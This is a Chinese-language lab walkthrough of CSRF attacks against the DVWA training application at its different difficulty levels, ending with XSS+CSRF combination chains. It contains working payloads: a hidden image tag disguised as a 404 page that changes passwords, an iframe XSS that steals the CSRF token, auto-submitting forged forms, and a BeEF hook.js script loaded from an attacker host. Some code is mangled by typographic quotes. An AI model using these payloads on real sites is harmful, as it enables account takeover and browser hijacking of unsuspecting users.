流程:
上文简单的叙述了CSRF攻击的原理,接下来将要介绍几种CSRF攻击的防护方法。
使用JavaScript发起AJAX请求是限制跨域的,并不能通过简单的表单来发送JSON,所以,通过只接收JSON可以很大可能避免CSRF攻击。
点击 dvwa security ,选择难度,然后点击 submit 完成更改
也可以利用html构造一个攻击界面
<img src=“http://192.168.1.102/dvwa-master/vulnerabilities/csrf/?
password_new=password&password_conf=password&Change=Change#” border=“0” style=“display:none;”/>
<h1>404<h1>
<h2>file not found.<h2>
看似是一个失效的页面,但其实已将改掉了密码
我们看一下网页代码:
<br/>
<form action="#”method="GET'>
New password:<br />
<input type="passwordAUTOCOMPLETE=offname="password new"<br />
Confirm new password:<br />
<input type="password”AUTOCOMPLETE=off”name=”password_conf">
<br/>
<input type="submit" value="Change” name="Change">
<!--这段代码定义了一个包含两个密码输入框和一个提交按钮的简单表单,
用户可以在其中输入新密码并确认,
然后点击 "Change" 按钮提交表单数据。
整个表单使用 GET 方法提交数据,
因为在 <form> 标签中指定了 method="GET"。-->
与low难度一样,没有token,这时候,我们可以看一下源代码
<·?php
if( isset( $_GET[ ‘Change’ ] ) ) {undefined
// Checks to see where the request came from
if( eregi( $_SERVER[ ‘SERVER_NAME’ ], $_SERVER[ ‘HTTP_REFERER’ ] ) ) {undefined
// Get input
$pass_new = $_GET[ ‘password_new’ ];
$pass_conf = $_GET[ ‘password_conf’ ];
//这两行代码将表单中输入的新密码和确认密码分别存储在 $pass_new 和 $pass_conf 变量中。
if( eregi( $_SERVER[ ‘SERVER_NAME’ ], $_SERVER[ ‘HTTP_REFERER’ ] ) )
// 再次检查请求来源是否与当前服务器的域名匹配
/*注:在php语言中int eregi(string pattern, string string),
译为检查string函数中是否含有pattern.
如果有返回True,反之False。
*/
因此,此句是判断 HTTP_REFERER 中是否包含 SERVER_NAME,HTTP_REFERER 是 Referer 参数值,即来源地址 SERVER_NAME是 host 参数及主机 ip 名(我这里是 192.168.1.102 )
所以,如果我们想要破解它,就要让 Referer 参数值包含主机名
我们写一个html文件,和low难度的那个文件内容相同:
<img src=“http://192.168.1.102/dvwa-master/vulnerabilities/csrf/?
password_new=password&password_conf=password&Change=Change#” border=“0” style=“display:none;”/>
<h1>404<h1>
<h2>file not found<h2>
写好后将其命名为ip地址.html格式,如:192.168.1.102.html
然后将其放在网页根目录WWW的DVWA文件中
然后我们打开burp suite,对csrf界面抓一次包,发送至repeater,将Referer地址改为http://攻击者服务器地址/dvwa/被攻击ip地址.html格式,如图:
点击go,可以看到
密码成功更改。
我们看一下网页代码:
<form action="#"method="GET">
New password:<br >
<input type="password" AUTOCOMPLETE="off" name="password_new" >
<br/>
Confirmnewpassword:<br/ >
<input type="password"AUTOCOMPLETE="off”name="password_conf"<br /><br/>
<input type=" submit" value="Change”name= "Change ">
<input type= "hidden" name='user_token'value='9d828e9ff7b01c1b5e0aa4a0ee844b95/>
</form>
这次有了token值,这个值并不是很容易就看到的,我们需要在攻击者服务器上获取被攻击者的token值。
csrf攻击本质是重要操作的所有参数,都可以被攻击者猜测到。
因此我们必须要获得token值!
我们要先看一下源代码:
if( isset( $_GET[ ‘Change’ ] ) ) {
checkToken( $_REQUEST[ ‘user_token’ ], $_SESSION[ ‘session_token’ ], ‘index.php’ );
//这个函数用于检查用户的令牌(token)是否有效,以防止跨站请求伪造(CSRF)攻击。它会比较用户提交的令牌 user_token 和当前会话中的令牌 session_token 是否匹配。
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
//使用 mysql_real_escape_string 函数对新密码进行转义,以防止 SQL 注入攻击。
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" .
//构建 SQL 查询语句并执行更新操作:dvwaCurrentUser() .
"';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
//关闭与数据库的连接。
/*这段代码中使用了
mysql_real_escape_string
对用户输入的密码进行了转义处理,
这是为了防止 SQL 注入攻击。
另外,它使用了 MD5 加密来存储密码,*/
我们的攻击思路是试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而获得token值,并向服务器发送改密请求,完成攻击。
但是,浏览器并不允许跨域请求,因此,我们可以利用xss漏洞
点击XSS(Stored),我们需要构造一条语句来获取token,由于有字符数限制,这里有两种方法:
我们将size和maxlength值改大一点,
这样,我们就可以在name框中输入构造代码了,代码如下:
<iframe src="…/csrf"οnlοad=alert(frames[0].document.getElementsByName(‘user_token’)[0].value)>
<!--frames[0].document.getElementsByName('user_token')[0].value
这段 JavaScript 代码的
目的是获取嵌入文档中名为 'user_token' 的表单元素的值,
并将其弹出显示在警告框中-->
此为token,有了这个,我们就可以利用medium中的方法进行攻击。
加入了PDO预编译语句防止SQL注入,防止CSRF不仅用了token,还要求用户输入原密码,这样在不知道原密码的情况下就无法构造参数。因此,目前还无法破解。
今天学习一下 XSS + CSRF 组合拳,现将笔记记录如下。
<html>
<body onload="javascript:fireForms()">
<!--当页面加载完成时,会触发 fireForms() 函数,即自动提交表单的函数。
-->
<script language="JavaScript">
var pauses = new Array( "42" );
<!--包含了一个时间间隔(以毫秒为单位),用于模拟用户的操作间隔。-->
function pausecomp(millis){
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);}
<!--用于实现停顿,即在指定的时间内等待执行下一步操作。-->
function fireForms(){
var count = 1;
var i=0;
for(i=0; i<count; i++){
document.forms[i].submit();
pausecomp(pauses[i]);}}
<!.--在提交表单之后,等待指定的时间间隔后再继续执行下一个操作-->
</script>
<form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/csrf/?password_new=12345678&password_conf=12345678&Change=Change">
<!--定义了一个 GET 方法的表单,
其中包含了一个目标 URL,该 URL 是 CSRF 攻击的目标,
同时提供了新密码、确认密码和修改操作的参数。-->
<input type="hidden" name="password_new" value="123123"/>
<input type="hidden" name="password_conf" value="123123"/>
<!--隐藏的表单输入,用于指定要修改的密码。-->
<input type="hidden" name="Change" value="Change" />
</form>
</body>
</html>
<!--综合起来,这段代码的作用是在页面加载完成后,
自动提交一个包含恶意操作(修改密码)的表单到指定的目标 URL,
从而进行 CSRF 攻击。-->
<script src="x" onerror=javascript:window.open("http://192.168.38.1/csrf.html")></script>
/*指定了一个 JavaScript 代码片段作为 onerror 事件处理程序。
当 src 属性指定的资源加载失败时,
就会执行这段 JavaScript 代码。
代码的作用是通过 window.open() 方法在新窗口中打开指定的 URL,
即 "http://192.168.38.1/csrf.html"。*/
访问页面后,浏览器会自动跳转,同时返回修改密码的界面,如果弹出页面显示如上图中的 Password Changed 字样,就说明受害者的密码修改成功了,而这也仅仅是因为受害者点击了一个页面。
a、构造 XSS 代码
我这里使用 beef 作为 XSS 平台。
<script src="http://192.168.38.129:3000/hook.js"></script>
b、构造 CSRF 代码
这里继续使用 CSRFTester 工具生成 CSRF POC。
具体步骤如上图,这里就直接放出 CSRF POC 代码了,主要还是修改了倒数第 4 行的代码。
<html>
<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "54" );
function pausecomp(millis){
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);}
function fireForms(){
var count = 1;
var i=0;
for(i=0; i<count; i++){
document.forms[i].submit();
pausecomp(pauses[i]);}}
</script>
<form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/xss_r/?name=<script src='http://192.168.38.129:3000/hook.js'></script>">
<input type="hidden" name="name" value="<script src='http://192.168.38.129:3000/hook.js'></script>"/>
/*这段代码包含一个 <form> 元素,
它的 action 属性指向一个可能存在 XSS 漏洞的网页,
并且带有一个参数名为 'name' 的 GET 请求参数,
其值包含了一个指向恶意 JavaScript 文件的 <script> 标签。
同时,还有一个隐藏的文本输入字段,其值也包含同样的恶意 JavaScript 代码。*/
</form>
</body>
</html>
/*综合来看,这段代码利用了 JavaScript
来自动提交包含恶意代码的表单到一个可能存在 XSS 漏洞的页面,
以尝试在用户浏览器中执行恶意的 JavaScript 代码。*/
将上面代码放到本地 Web 服务中,打开其他浏览器,登陆其他账户,再打开我们构造的 CSRF 链接。
http://192.168.38.1/csrf.html
打开链接后,beef 中就能看到上线的主机了。
不过由于这个组合拳是需要诱导受害者点击构造的 CSRF 链接的,所以个人觉着利用难度要高于第一个组合拳:存储型 XSS + CSRF.
2.4 总结 暂时技巧就记录到这里,对于组合拳的利用方法也还有很多,这里只是自己简单的记录了两种。平时挖洞的时候利用好组合拳,所起到的效果可是杠杠滴。